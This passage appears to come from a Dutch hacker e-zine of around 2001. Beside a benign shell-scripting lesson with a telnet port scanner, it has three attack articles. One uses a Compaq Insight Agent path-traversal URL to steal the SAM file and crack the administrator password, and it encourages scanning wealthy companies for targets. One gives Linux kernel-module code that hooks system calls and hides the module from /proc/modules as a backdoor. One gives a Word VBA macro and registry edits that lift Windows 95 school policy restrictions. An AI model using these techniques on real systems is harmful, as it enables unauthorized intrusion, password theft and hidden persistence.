* Smashing The Stack For Fun And Profit (by Aleph One)
* Advanced buffer overflow exploit (by Taeho Oh)
* Writing buffer overflow exploits - a tutorial for beginners (by Mixter)
-------------------------------------------------------
05. Compaq
-------------------------------------------------------
Na het vele lezen van nuttige artikelen in deze e-zine heb ik besloten mijn
bescheiden steentje bij te dragen. Deze text gaat over een zeer makkelijk
toepasbare exploit van Compaq Inside Agent. Het kennisniveau voor deze exploit
is zeer laag, een redelijke kennis van Windows NT (daar kom ik ze meestal tegen)
is voldoende om deze exploit toe te kunnen passen.....
Compaq Inside Agent is een manangementtool die (gratis?) wordt geleverd bij
Compaqservers. Deze Inside Agent houdt de health en performance van de machine
in de gaten en is benaderbaar met diverse Managementtools en (intressant) de
browser....
Hmm... wacht eens... dus als ik in mijn browser het ip-adres en juiste poort van
een Compaqserver die Compaq Inside Agent heb draaien intoets dan krijg ik
informatie over deze server in mijn scherm?? Ja dat klopt.. de informatie die
oproepbaar is varieert van wat voor type server het is tot welk OS er op draait
en welke services hij aanbied inclusief de homedirectories van de service...
Hmzs... Deze agent maakt gebruik van poort 2301 dus ff een poortscan op 2301 bij
een groot bedrijf met geld (ja, ja, die Compaqs kosten wat) en bingo... Nu het
volgende in mijn browser toetsen HTTP://ip-adres <http://ip-adres> van
target:2301 en de informatie wordt weergegeven in de browser.
Maar wacht... het kan nog mooier! Het blijkt dat er tot versie <??> een bug zit
waarmee, als je het preciese pad weet, files kunt downloaden...
De URL wordt dan als volgt HTTP://ip-adres <http://ip-adres> van
target:2301/../../../boot.ini
Er kunnen nu 3 dingen gebeuren, of je krijgt de text van de boot.ini te zien, of
je krijgt een downloadscherm waarbij hij vraagt waar je de file wil opslaan, of
je krijgt de melding acces denied... jammer in dat geval gebruiken ze de
nieuwere versie waarbij de bug gefixed is. Met het volgende in je achterhoofd
gaat natuurlijk gelijk een lichtje branden.. we willen de sam hebben en dan wel
de sam._ uit de repair directory want de andere is niet benaderbaar (is in
gebruik weet je)
de URL is HTTP://ip-adres <http://ip-adres> van
target:2301/../../../winnt/repair/sam._ en hoppakee... ff L0phtcrack erop los en
je heb het administrator wachtwoord.
Nu kan het voorkomen als je deze URL intoetst dat je de inhoud van de sam._
krijgt te zien en je daar niets mee kan. Gebruik dan een Downloadaccelerator of
een Gozilla en specifiseer in de options dat je voor elk ._ extensie de
downloadtool gebruikt. de downloadtool zal dan gelijk de file downen.
Okee ik hoop dat jullie er wat aan hebben en natuurlijk gebruik je deze info
alleen voor de juiste doeleinden...mocht iemand nog aanvullende informatie
hebben, kunnen ze dat mailen naar VortexXx@ictbeveiliging.nl
<mailto:VortexXx@ictbeveiliging.nl> (bezoek ook de site eens :-)
Pies ijm oud...
VortexXx
-------------------------------------------------------
06. Kernel hacking
-------------------------------------------------------
* Disclaimer
* Inleiding
* System calls
* Loadable kernel modules
* Verbergen van modules
* Afsluiting
* Bronnen
- Disclaimer
Het kan zijn dat als je informatie uit de artikel gaat uitvoeren op je OS en
je gaat zelf dingen uit proberen met betrekking tot kernel modules en dergelijke
dan is het mogelijk dat je dingen verkeerd doet, zodat je kernel (tijdelijk?)
niet meer goed werkt. Alles is dus op eigen risico en ik ben nergens voor
aansprakelijk. Voor vragen of opmerkingen kun je me best mailen, maar niet voor
schadeclaims of andere shit! Ge zijt gewaarschuwd...
- Inleiding
Zoals velen van jullie wel weten bestaan er mogelijkheden om de kernel van een
OS te hacken. Dit is natuurlijk een zeer gevaarlijke attack, want wat moet je
als sysop als je je eigen kernel niet eens meer kan vertrouwen? Een kernel kan
je echter pas hacken als je in een systeem bent binnengedrongen en root hebt
verkregen. Maar hoe goed je je systeem ook beveiligd, er kan altijd iemand
binnenkomen. En hoe slimmer de hacker is die jouw geweldige beveiliging omzeild,
hoe groter de kans dat hij je kernel hackt om later nog eens terug op bezoek
te kunnen komen. Deze worden vaak als een kernelmodule gecompileerd en geinstal-
leerd, terwijl ze op een vernuftige manier in elkaar gezet zijn, zodat je ook
met lsmod de desbetreffende backdoor niet kan zien. In dit artikel zal ik eens
wat dieper ingaan op het hacken van de kernel. Alles is van toepassing op de
Linux-kernel, maar de principes zijn hetzelfde voor alle UNIX-based systemen. Je
zult dan wel even uit moeten vogelen welke functies de kernel gebruikt om
systemcalls uit te voeren. Dit gaat natuurlijk het makkelijkst als je de sources
van de kernel van je OS hebt. In principe zijn er ook wel slimme backdoors te
schrijven voor windows, maar dit kost heel veel tijd en je zult je door alle
assembly-sources van Windows 9x/2K/ME heen moeten worstelen. :)
- System calls
Voordat we kunnen bekijken wat system calls eigenlijk zijn moet er eerst wat
uitgelegd worden over hoe het geheugen in Linux is ingedeeld. Het geheugen is
in twee gedeeltes verdeeld; kernelspace en userspace. Een programma kan niet
naar de kernelspace schrijven, omdat die voor de kernel is gereserveerd *doh*.
Ook kun je niet zonder meer de kernel access tot het usergeheugen laten geven.
Als je een system call uitvoert doet de kernel enkele dingen. Hij zet DS en ES
(geheugenpointers, voor meer info lees wat over Assembler) zodat het geheugen
wijst naar het kernelsegment. Hierna zet het FS en die wijst dan naar het
usersegment in het geheugen. Vanuit de kernelspace kun je dus toch het stukje
geheugen dat gereserveerd is voor de user aanroepen.
Elk programma dat je in C hebt geschreven gebruikt libc. Dit is een library die
alle basisfuncties, die je nodig hebt om te programmeren, vastlegd. In feite
zijn bijna alle functies in libc gebaseerd op de onderliggende system calls.
Dit zijn de simpelste kernelfuncties die een userprogramma kan aanroepen.
Alle system calls van een OS zijn geimplementeerd in de kernel zelf of in kernel
modules die je pas in het geheugen laat als je ze nodig hebt (insmod, rmmod,
lsmod...)
In Linux zijn de system calls geimplementeerd door door een interrupt. Deze is
'int 0x80'. Als je deze instructie uitvoert wordt de controle aan de kernel
overgedragen met behulp van de functie _system_call(). Deze functie saved alle
registers en daarna wordt de inhoud van het %eax register gecheckt en vergeleken
met de zogeheten 'global system calls'-table. In deze tabel staan alle system
calls en hun geheugenadressen. Als de system call in %eax niet in de tabel staat
retouneert _system_call een error. In alle andere gevallen zal de kernel het
geheugenadres dat in de tabel stond achter de system call uitvoeren. Hier volgt
even een klein voorbeeldje dat de system call aanroept met een system call
die niet bestaat, zodat de kernel een foutmelding zal geven! Let er wel op dat
je bij jouw systeem wel een waarde voor 'movl $165,%eax' geeft die niet bestaat,
want anders kan je kernel hele rare dingen gaan doen. Voor een overzicht van
alle system calls kijk in: "/usr/include/asm/unistd.h". Daar staan ze tenminste
bij mij. Anders kan je OS ze ook in: "/usr/include/sys/syscall.h" hebben staan.
Daar staan alle gedefineerde system calls van je OS in. Laten we eens gaan
kijken wat er gebeurd als we een systemcall uit proberen die dus NIET bestaat!
[gorny@localhost artikel]$ vi ./syscall1.c
/* Voorbeeld van een systemcall */
#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>
extern void *sys_call_table[];
functie() {
__asm__(
/* wel gecheckt of systemcall 165 NIET bestaat? */
"movl $165,%eax
int $0x80");
}
main() {
errno = functie();
perror("Invalid syscall");
}
[gorny@localhost artikel]$ gcc -O2 -o syscall1 ./syscall1.c
[gorny@localhost artikel]$ ./syscall1
Invalid syscall: Unknown error 4294967282
[gorny@localhost artikel]$ su
Password:
[root@localhost artikel]# ./syscall1
Invalid syscall: Unknown error 4294967282
[root@localhost artikel]# exit
[gorny@localhost artikel]$
En zoals we al verwacht hadden geeft de kernel een keurig nette foutmelding.
Normaal zal de controle terug gegeven worden gegeven aan de gespecificeerde
systemcall. Hierna roept _system_call() de functie _ret_from_sys_call() aan,
om verschillende informatie te checken en uiteindelijk weer terug te keren
naar het usersegment in het geheugen. Zoals je ziet, maakt het ook geen ver-
schil of je het programmaatje uitvoert als gewone user of als root.
NOTE: Om de een of andere vage reden geeft het voorbeeldproggie een core-dump
als ik hem gecompiled heb met de optimatie-optie '-O3'. Vraag me niet waarom,
want '-O1' en '-O2' werken wel gewoon :(
- Loadable kernel modules
Als je nou zelf je eigen system calls wilt maken dan kun je dit doen door
de source van je kernel handmatig aan te passen en een nieuwe kernel te
compilen. Het is echter heel wat makkelijker als je een loadable kernel
module gebruikt. Dit betekent domweg dat het een objectfile is die gelinked
zal worden als de kernel de module nodig heeft. Hierdoor kun je ook een kleinere
kernel krijgen, door alles wat je niet vaak nodig hebt, als aparte module te
compileren. In feite is het enige wat je moet doen in je module om system calls
toe te voegen is het veranderen van de sys_call_table array die al eerder is
beschreven. Elke loadable kernel module (lkm) heeft in ieder geval de functies;
int init_module(void)
void cleanup_module(void)
De eerste functie wordt aangeroepen bij het laden van de module en de tweede bij
(je raadt het al :) het unloaden van de module. Nog even een waarschuwing voor
mensen die nu hun eigen loadable kernel modules willen gaan schrijven. Begrijp
goed dat je met kernel-code bezig bent en dat je hele systeem in de war kan
lopen als je echt rare system calls gaat uitvoeren. Let dus goed op en zorg
ervoor dat de code goed is voordat je de gecompilede code gaat uitvoeren. Een
ander nadeel van kernel modules is dat ze niet libc kunnen gebruiken. Ze moeten
direct via system calls hun opdrachten uitvoeren. Hier bestaat ook een handige
macro voor genaamd _syscallX(), maar het kan ook gewoon met de sys_call_table
array. Ook is het een goed idee om je module te compileren met een regel als:
[gorny@localhost artikel]$ gcc -c -O3 blaat.c
Met de optie O3 wordt namelijk alles geoptimaliseerd en duurt het compilen
wat langer, maar uiteindelijk levert het wel wat snelheidswinst op :) Je krijgt
dan een module genaamd blaat.o. Deze kun je laden met 'insmod blaat.o' en dan
is je lkm actief. Wil je hem weer uit het geheugen laden dan doe je 'rmmod' en
voor een overzicht van alle geladen kernel modules typ je 'lsmod'. Laten we
eens een voorbeeld module gaan bekijken. Deze heb ik gehaald uit het artikel
van plaguez.
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#else
#define MOD_INC_USE_COUNT
#define MOD_DEC_USE_COUNT
#endif
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <linux/unistd.h>
int errno;
/* Hier wordt een pointer gedefineerd die naar de oude setreuid */
int (*o_setreuid) (uid_t, uid_t);
/* In de onderstaande array staan de systemcalls en pointers */
extern void *sys_call_table[];
int new_setreuid(uid_t ruid, uid_t euid)
{
printk("uid %i trying to seteuid to euid=%i", current->uid, euid);
return (*o_setreuid) (ruid, euid);
}
int init_module(void)
{
o_setreuid = sys_call_table[SYS_setreuid];
sys_call_table[SYS_setreuid] = (void *) new_setreuid;
printk("swatch loaded.\n");
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_setreuid] = o_setreuid;
printk("swatch unloaded.\n");
}
Je compileert deze module met 'gcc -c -O3 plaguez.c'.
Wat doet deze module eigenlijk precies? Als hij wordt aangeroepen en in het
geheugen wordt geladen zal de pointer naar de oude setreuid functie opgeslagen
worden in o_setreuid. Hierna wordt de sys_call_table gewijzigd zodat de
systemcall 'setreuid' nu wijst naar de functie 'new_setreuid'. De informatie
wordt dus onderschept en daarna wordt pas de goede functie aangeroepen. Bij het
unloaden van de module wordt alle informatie weer terug gezet zoals het was en
zal de system call 'setreuid' weer gewoon wijzen naar de goede functie. Zoals
je hier ook duidelijk ziet kun je niet de gewone printf-functie gebruiken van
libc. Daarom wordt hier de functie printk gebruikt die wel aangeroepen kan
worden door loadable kernel modules.
- Verbergen van modules
Maar natuurlijk zal de module ook verborgen moeten worden. Anders is de module
veel te gauw gespot en daar heb je hem niet voor geinstalleerd :). Dit kan ge-
daan worden op verschillende manieren. Een mogelijkheid is om '/proc/modules'
te wijzigen zodra een programma die file probeert te lezen, maar dit is erg
moeilijk om te programmeren en het schijnt dat je dan met:
'dd if=/proc/modules bs=1' wel gewoon de file kan lezen inclusief de naam van de
module die je wilt verbergen. Er is wel een oplossing. De module lijst wordt
niet direct geëxporteerd vanuit de kernel zodat er geen manier is om deze lijst
direct aan te spreken. Dit laatste kan echter alleen als sys_init_module() wordt
aangeroepen, want dat is namelijk de module die onze eigen lkm moet gaan aan-
roepen, dus die moet toegang hebben tot de moduleinfolijst. Hierbij moeten we
er wel van uitgaan dat GCC de registers niet verneukt tussen het aanroepen van
'sys_init_module' en het aanroepen van 'init_module()'. Dat maakt het mogelijk
om na te gaan wat het register was waarin de moduleinfolijst begon. De module-
lijsten zijn opgeslagen in een register struct van het gedefineerd type module.
De naam van deze struct is mp. Je kan dan nagaan wat het adres is van 1 van de
items van de struct. Als je dan een stukje code als het onderstaande schrijft
in je lkm dan zal de module niet getoond worden in /proc/modules, omdat de
kernel denkt dat het een kernel module is, aangezien die ook geen referenties
en een naam hebben. Bij het onderstaande stukje wordt er wel vanuit gegaan
dat het adres van die struct is opgeslagen in %ebx. Dit zul je dus wel even
moeten checken om daar het goede register in te vullen.
int init_module()
{
register struct module *mp asm("%ebx");
*(char*)mp->name=0;
mp->size=0;
mp->ref=0;
/* De rest van je code */
}
Naast het verbergen van de module zelf zijn er trojans geschreven met allerlei
opties. Zoals: PID-hiders, execve redirection, file hiders, socket recvfrom()
en gemodificeerde setuid()-calls. Vooral itf.c van plaguez heeft veel opties.
Maar het is natuurlijk wel lame om niet je eigen trojans te gebruiken, maar die
van anderen (zie artikel van Nynex in H4H-0C over lameheid :). Bovendien
leer je gigantisch veel van het zelf schrijven van je trojans en tools.
Als je van het zelf maken van je programma's niets leert dan leer je nergens wat
van. Kun je beter je computer verkopen ofzo en postzegels gaan verzamelen :)
- Afsluiting
Nou dat was het dan. Ik hoop dat jullie het een beetje een interessant artikel
vonden. Voor alle vragen, flames en dergelijke mail me maar op onderstaand
adres. Als je meer wilt weten over het hacken van een kernel, kijk dan eens
bij de website van Phrack Magazine. Daar zijn heel veel artikelen verschenen
die op de een of andere manier betrekking hebben op het hacken van de kernel,
verstoppen van backdoors en dergelijke. Kijk ook eens in de archieven van
BugTraq. Ik geloof dat daar in het verleden wel eens wat discussies hebben
plaats gevonden over het fenomeen kernelhacking. Nu is het wel duidelijk dat
als je systeem gekraakt is, het goed mogelijk is dat de hacker/cracker een
backdoor heeft verstopt. Een manier om er voor te zorgen dat er geen backdoors
en stuff geinstalleerd blijven is een voor de hand liggende: reinstall. Niet een
al te prettige oplossing, maar dan weet je in ieder geval zeker dat de kraker
er niet meer in kan komen om je 1337 exploits en gejatte /etc/passwd's eens even
goed te onderzoeken :) Voor de rest, zoek het allemaal zelf maar uit. Er is
genoeg informatie te vinden op het web. Een ideetje is misschien om de
tcp-stack van de gehackte comp. eens naar je eigen hand zetten. Need I say
more?? :-P
Gegroet,
Gorny <gorny@penguinpowered.com>
- Bronnen
[1] Weakening the Linux Kernel, by plaguez
(Phrack Magazine, Volume 8, Issue 52, article 18 of 20)
[2] Abuse of the Linux Kernel for Fun and Profit, by Halflife
(Phrack Magazine, Volume 7, Issue 50, article 5 of 16)
[3] http://www.itsx.nl
Afdeling Projecten --> Kernel hacking
[4] hersenen
(gekregen van mijn vader en mijn moeder :)
-------------------------------------------------------
07. De Basis Van Shellscripting (deel 3)
-------------------------------------------------------
Ey, daar was ik weer met mn laatste artikel over shell scripting.
We gaan maar gelijk over tot de orde van de dag :)
processen en signalen
Hierover valt veel te vertellen..o.a. veel theorie, daar begin ik dus ook
mee.
Een besturingssysteem moet veel werk verrichten en om al deze taken te
kunnen realiseren, moet het besturingssysteem in staat zijn elk proces
ondubbelzinnig te indentificeren. Daarom krijgt onder unix elk proces een
ondubbelzinnige id. dit is een positief getal groter dan 0. het eerste
proces krijgt dus nummer 1, het tweede proces 2 etc. dit nummer kan niet
gewijzigd worden. met het commando ps kan je statussen zien van
processen. Hieronder een stuk script dat het aantal gebruikers
nagaat het het aantal processen per gebruiker
who | cut -d' ' -f1 | sort | uniq -c | while read lvNum lvUser ; do
echo -n "User: $lvUser heeft $lvNum tty's en "
echo `ps aux | grep "^$lvUser" | wc -l` "processen"
done
exit 0
$ ./script
User: max heeft 3 tty's en 6 processen
User: root heeft 1 tty's en 41 processen
signalen zijn asynchrone berichten die in scripts kunnen optreden en die
acties oproepen.
voor een overzicht van alle signalen, hun standaardactie en hun betekenis
zien de manpage van signal(7)
trap is een commando die signalen van de shell kan afvangen.
met de optie -l zie je alle beschikbare signalen en hun nummers.
als je een signaal wilt negeren roep je trap aan met de optie '':
trap '' SIGINIT # negeert SIGINIT
als je een opdracht wilt uitvoeren wanneer het script een signaal
ontvangt moet je de opdracht tussen aanhalingstekens of apostroffen
plaatsen en het desbetreffende signaal erachter specificieren.
like:
trap 'echo " QUIT "' 3
hier nog een voorbeeld:
# vangt SIGINIT af (ctrl+c)
#
trap "echo INT" INT
echo "met kill -SIGTERM $$ beeindigen"
while true ; do sleep 2 ; echo sleep 2 ; done
exit 0
programma's kunnen op de achtergrond worden gezet door een & achter de
opdracht te zetten
wait <proces-id>
wait is een opdracht dat wacht totdat een proces beeindigd is met de id
<proces-id>
het script gaat pas verder wanneer dit proces beeindigd is.
prioriteiten
elke proces heeft een prioriteit van -20 tot 19, de hoogste prioriteit is
-20 en de laagste is 19. afhankelijk van de prioriteit krijgt een proces
meer of minder cpu-tijd toebedeeld.
dat kan je doen met de opdracht nice,
nice -n <nice> <opdracht>
nice wijzigt dan de prioriteit van <opdracht> en telt daar <nice> bij op.
gewone users kunnen alleen positieve waarden voor <nice> specificieren,
alleen root kan negatieve waarden instellen en de prioriteit dus verhogen.
oke we gaan verder met het volgende hoofdstuk.
variabelen en stuff eromheen
oke, gebruikersvariabelen zijn variabelen die je zelf maakt en manipuleert
en waarin je de gegevens opslaat die belangerijk zijn voor et script. deze
variabelen zijn allereerst van het type string, wat betekent dat er een
willekeurige tekenreeks in opgeslagen kan worden. ook bewerkingen van
tekenreeksen zijn mogelijk, ook al slaan we getallen in de variabelen op,
dan kunnen we er nog niet mee rekenen, tenzij we een omweg via expr nemen.
bovendien zou het aardig zijn als we ook constanten konden definieren en
een poging om een constante een nieuwe waarde toe te wijzen tot een fout
zou leiden. dit alles en nog veel meer bereikt je met de opdracht typeset,
waarvab de syntaxis er zo uitziet:
typeset <opt> <var>[=<waarde>]
declare <opt> <var>[=<waarde>]
typeset is een opdracht v/d kornshell, maar uit
compatibiliteitsoverwegingen is de opdracht ook in de bash te vinden.
we gaan verder met rekenkundige expressies,
hier is een voorbeeld van hoe je bijvoorbeeld kan rekenen in een
shellscript:
typeset -i res=0
typeset -i var
var=10
res=11*var
echo "resultaat:$res"
$ ./bla
resultaat=110
in rekenkundige expressies heb je geen $ nodig om naar een variabele te
verwijzen.
hieronder staan alle operatoren die de shell binnen rekenkundige
expressies herkent:
- + teken
! ~ logische en bitsgewijze negatie
* / % vermenigvuldiging, deling, rest bij integerdeling
+ - optelling, aftrekking
<< >> bitsgewijze verschuivingen naar links, respectievelijk rechts
<= >= < > vergelijking
== != gelijkheid en ongelijkheid
& bitsgewijs EN
^ bitsgewijs XOR (exclusief of)
| bitsgewijs OF
&& logisch EN
|| logisch OF
<uit1>?<uit2>:<uit3> voorwaardelijke evulatie komt overeen met de test
if [ <uit1> ] ; then
<uit2>
else
<uit3>
fi
het verschil is dat de if-tests binnen de
rekenkundige expressies niet toegestaan zijn
= += &= toewijzen: staat er een operator voor de
*= -= ^= toewijzing dan wordt de variable links van het
%= >>= gelijkteken = met de
/= <<= |= expressie rechts van de operator verbonden
a+=2 is dus gelijk aan a=a+2
hier nog ff wat voorbeelden en dan gaan we verder:
$ echo $((0xA))
10
$ typeset -a waarde
$ waarde[10]=12
$ echo ${waarde[*]}
12
$ echo ${#waarde[@]}
1
naja..we gaan verder :)
variabelen kan je wissen met de functie unset
dat doe je door unset <var> te doen
random is een generator van toevalsgetallen, elke benadering van $RANDOM
(zoiets als echo $RANDOM) retouneert steeds een ander, toevallig en
positief geheel getal.
shlvl geeft aan hoeveel shells genest zijn.
$ echo $SHLVL
1
PS1, PS2, PS3 en PS4
deze vier variabelen worden door de shell onder verschillende
onmstandigheden als prompt gebruikt. PS1 is de prompt die in de
interactieve modus wordt weergegeven en aangeeft dat er invoer mogelijk
is. Hieronder staan de tekenreeksen die een speciale betekenis hebben
\a een alarmsignaal
\h de hostnaam zonder het domein
\u naam van de huidige user
\t tijd in 24 uurs notatie
\w toont de huidige directory, daarbij wordt de $HOME directory als ~
aangegeven
\W geeft de basisnaam van de huidige scriptdirectory weer zonder /
dus iets als /etc/bla/die/bla wordt gewoon bla
Oke dat was et totzover. We gaan verder met het volgende hoofdstuk.
scripts op een bepaalde tijd starten
als je scripts of programma's op een bepaalde tijd wil starten zijn man at
en man cron(tab) je beste vrienden.
prompts
met escapereeksen van de bash kan je voorgrond en voorgrond veranderen
(had ik in mn vorige text ook al genoemd met tput maar als tput niet
beschikbaar is is dit de oplossing)
hier een voorbeeld
# maak je achtergrond rood (als je exit word de achtergrond hersteld)
echo -en "\[\033[1;41m\]"
clear
de escapereeksen van de bash beginnen altijd met \[ en eindigen met \]
maar er zit ook altijd 033 tussen dus zo word et eigenlijk:
\[033[kleurcode\]
ik ga hier niet alle kleurcodes noemen omdat dat er teveel zijn maar als
je wil ga je ff goed zoeken en dan vind je ze vast wel ergens op inet.
alias/unalias
hierover zal ik het kort houden, een alias is een andere naam voor een
bekende opdracht,
dus doe zoiets als alias ls='ls -al --color' en als je dan ls doet krijg
je alles te zien (inclusief verborgen files) en in ook in kleuren :)
je pleurt de alias er gewoon weer uit met unalias ls
that's it, next :)
debuggen en foutzoeken
fouten zijn in 4 categorieen te verdelen:
logische fouten, syntactische fouten, programmeerfouten en fouten in de
gebruikte programma's
planning
voordat je aan een (groot) script begint zou je eigenlijk voor het gemak
een planning moeten maken, wat het script doet, hoe je het in gaat delen
etc, zo maak je ook minder snel fouten.
echt bug zoeken gaat in shell scripting moeilijker dan bijvoorbeeld in c
echte grote bugs zullen ook minder snel in shell scripts voorkomen, het
grootste probleem is vaak kleine typefoutjes. logische fouten kunnen ook
voorkomen, doordat je bijvoorbeeld gewoon een logische denkfout maakt,
hier een voorbeeld van zo'n logische fout:
..
typeset -i gvAantReg=0
gvAantReg=gvAantReg + `wc -l bestand`
..
de fout is dat wc de bestandsnaam weergeeft, waardoor de bovenstaande
instructie het volgende probeert uit te voeren:
..
typeset -i gvAantReg=0
gvAantReg=gvAantReg + 1234 bestand
dit soort fouten kunnen gewoon niet voorkomen worden als je niet goed
oplet of vrij nieuw bent hiermee en dit soort fouten snel maakt, de
oplossing is gewoon goed naar de code kijken en logisch overzien wat er
fout kan zijn. zodra je et ziet gewoon fixen. zie je et niet, nog een keer
bekijken, totdat je de fout ziet :)
het kan voorkomen dat er fouten zitten in programma's die je zelf gebruikt
daar valt weinig te doen behalve zelf de code opzoeken van het programma
en het zelf fixen (of de auteur van et proggie contacten) of een andere
opdracht of programma gebruiken in plaats van het prog/opdr. dat de bug
bevat.
verder heb ik hier eigenlijk niet al teveel meer over te zeggen aangezien
ik bar weinig verstand heb van debuggen en foutzoeken in shell scripting.
kep ook maar gelijk hieronder 2 programma's in shell script
bijgeprakt die als voorbeeld dienen:
#!/bin/sh
# vanilla.sh - tcp connection (telnet) port scanner for non-root users
# by: ben-z(@alloymail.com) http://benz.staticky.com
# set up our environment
vv="[vanilla!benz]:"
count="$2"
mv .vs.tmp .vs.tmp.bak 1>/dev/null 2>/dev/null
clear
if [ `whoami` = "root" ]; then
echo "$vv this portscan was designed for normal users <non-root>."
echo "$vv it would make more sense for you to use a faster scanning "
echo "$vv utility such as nmap <http://www.insecure.org/nmap> or "
echo "$vv strobe <ftp://sunsite.unc.edu>. If you still want to continue,"
echo "$vv you may switch to a normal user account and run this again. "
exit 0
fi
# print the usage instructions
if [ "$2" = "" ]; then
echo "$vv usage is: $0 <host> <start port> [-c]"
echo "$vv examples:"
echo "$vv vs 127.0.0.1 1024 <-- this would scan 127.0.0.1 p1024->65535"
echo "$vv vs 127.0.0 23 -c <-- this would scan 127.0.0.1-255 p23"
exit 0
fi
# do a single host scan if no -c if provided
if [ "$3" = "-c" ]; then
echo "$vv not yet implemented.. sorry :P"
exit 0
fi
echo ""
echo "$vv now scanning $1 on ports $count -> 65535."
echo "vanilla.sh v1 by ben-z(@alloymail.com) http://benz.staticky.com"
>>.vs.tmpecho "$vv results of scan on $1 ($count -> 65535):" >>.vs.tmp
while [ "$count" != "65535" ]; do count=`expr $count + 1`
echo -n "$vv ($count) attempting connection to $1"
telnet $1 $count 1>.vs2.tmp 2>.vs2.tmp &
killall -9 telnet 1>/dev/null 2>/dev/null
cat .vs2.tmp | grep -v refused | grep closed >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo -n " connected!"
# try to determine which port we found
if [ "$count" = "1" ]; then
echo "1/tcp: tcpmux" >>.vs.tmp
fi
if [ "$count" = "7" ]; then
echo "7/tcp: echo" >>.vs.tmp
fi
if [ "$count" = "9" ]; then
echo "9/tcp: discard" >>.vs.tmp
fi
if [ "$count" = "11" ]; then
echo "11/tcp: systat" >>.vs.tmp
fi
if [ "$count" = "13" ]; then
echo "13/tcp: daytime" >>.vs.tmp
fi
.. [knip]
fi
echo ""
done
exit 0
# bla.sh
# by max
typeset -r gcTmpfile=/tmp/count
typeset -i gvAant=`find -name bla -print 2>/dev/null | tee $gcTmpfile | wc -l |
cut -c2-7`
$typeset -i gvNr=0
typeset -i gvSom=0
while [ $gvNr -lt $gvAant ] ; do
gvNr=gvNr+1
gvBestand=`sed -n -e "${gvNr}p" $gcTmpfile`
echo $gvBestand
typeset -i gvRes=`wc -c <$gvBestand`
gvSom=gvSom+gvRes
done
if [ $gvAant -eq 0 ] ; then
echo "geen bestanden gevondah"
else
echo "in totaal $gvAant bestanden nemen $gvSom bytes in beslag"
fi
rm -f $gcTempfile
exit 0
Oke dit was et weer, hopelijk heb je wat van mn 3 artikels geleerd, zo
niet jammer dan :) als je goed opgelet heb en alle 3 de artikels goed heb
gelezen ken je de basis (en misschien wel wat meer) van shell scripting.
dan is veel oefening en man pages lezen de enige goede oplossing om goed
te worden met shell scripting. mail me gerust met opmerkingen en/of
vragen. iig. suc6 en keep on scripting :)
laterz
max (mmo@casema.net)
thanx to asby
greetz to thijs, genetics, f399, asby, skeruno, #eval & #h4h
-------------------------------------------------------
08. Evenementen
-------------------------------------------------------
Linux Expo
URL: http://www.linux-expo.com
Datum: 23 en 24 Januari 2001
Locatie: Ray, Amsterdam
Computable Carriere Dagen
URL: http://www.BrassRing.nl
Datum: 26 en 27 Januari 2001
Locatie: Jaarbeurs, Utrecht
IT Security Management
URL: http://www.infocare-events.nl/events/it-security-management.html
Datum: 13 en 14 Februari 2001
Locatie: Holday Inn, Utrecht
Nationaal CV-IT Event 2001
URL: http://www.cv-it.net
Datum: 22 Februari 2001
Locatie: Jaarbeurs, Utrecht
Veilig werken met Windows NT
URL: http://www.infocare-events.nl/events/veilig-windowsnt.html
Datum: 27 en 28 februari 2001
Locatie: Daxis, Deventer
Linux 2001
URL: http://www.linux2001.nl/
Datum: 22 en 23 mei 2001
Locatie: De Reehorst, Ede
Dit zijn de evenementen voor de komende periode. Mochten we evenementen
gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar
h4h-redactie@hackers4hackers.org-------------------------------------------------------
09. Policies in Win95
-------------------------------------------------------
Door PtPtH, een simpele 16 jarige scholier.
H4H@ptpth.cjb.net
http://ptpth.cjb.net
Voorwoord
Ik leg uit hoe je met in policies beveiligde windows 95 systemen kan breken
door middel van een simpel word-basic programmetje.
Inleiding
In H4H nummer 1 las ik een stuk van Resistance over het hacken van met
policy begrenste windows systemen.
Zijn manier kon tot vorig jaar nog bij ons op school (school; ja school
ik ben nog maar 16), maar dat had de systeembeheerder natuurlijk ook door
en die heeft dit jaar het systeem beter beveiligd waardoor je een foutmelding
krijgt als je probeert de Explorer uit te voeren vanuit IE met de opdracht
file://c:/windows/explorer.exe. Je krijgt dan een bericht dat je geen rechten
hebt. Dit is ook een beveiliging van de 'poledit' en is te omzeilen, door een
word-basic programmatje.
De werking.
In word is het mogelijk om visual basic scripts te maken. Ik heb gekozen
voor een knop met daarachter een commando(reeks). Zet de werkbalken
'werkset besturingselementen' aan. Bouw in het document
een knop. Geef deze een naam zoals 'Voer proggie uit'. Druk met je rechter-
muisknop op die knop en kies dan 'programmacode weergeven'.
Voer bij de programmacode het volgende in:
Private Sub CommandButton1_Click()
Dim opdracht As String
dim tekst as string
dim titel as string
Dim x As Variant
tekst="Voer pad en bestandsnaam in van het programma dat je wil starten"
titel="Policies omzeilen"
opdracht = InputBox(tekst, titel, "C:\windows \explorer.exe")
On Error Resume Next
x = Shell(opdracht,1)
End Sub
Sla het bestand op, sluit de VB-editor en druk op de knop (sluit de ontwerp
modus af!). Er zal nu een venster verschijnen waarin het mogelijk is een
pad en een bestandsnaam in te voeren met de standaardwaarde
c:\windows\explorer.exe ( Verkenner ;-) ). Mocht je onzin invullen zoals
h:\blah\blah.exe dan zal hij niets doen vanwege de regen 'On Error Resume
Next'. Als je die regel er niet hebt staan zal hij een foutmelding geven
bij onzin.
Nu kan je ook 'regedit' en 'poledit' uitvoeren en dus de beveliging er
totaal afhalen:
Resistance:
Je kan de policies er ook met de hand afhalen. Om dit te doen open je het
programma c:\windows\regedit.exe. Nu staan links een paar mappen. Open
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies.
Hierin zijn een aantal mappen, waaronder bijvoorbeeld explorer en network.
Als je een van deze mappen opent zie je rechts verschillende dingen staan.
Bijvoorbeeld NoClose, NoDesktop, NoDrives, NoFind. Achter deze namen staan
de waardes van de namen. Deze waardes zijn meestal 1 of 0.
1 is dan aan en 0 is uit. Als er bijvoorbeeld NoRun staat met een waarde van
1,
dan is in het startmenu de optie 'uitvoeren' verdwenen. Als je deze nou weer
terug wilt dan moet je de 1 veranderen in 0. Bij de volgende herstart is de
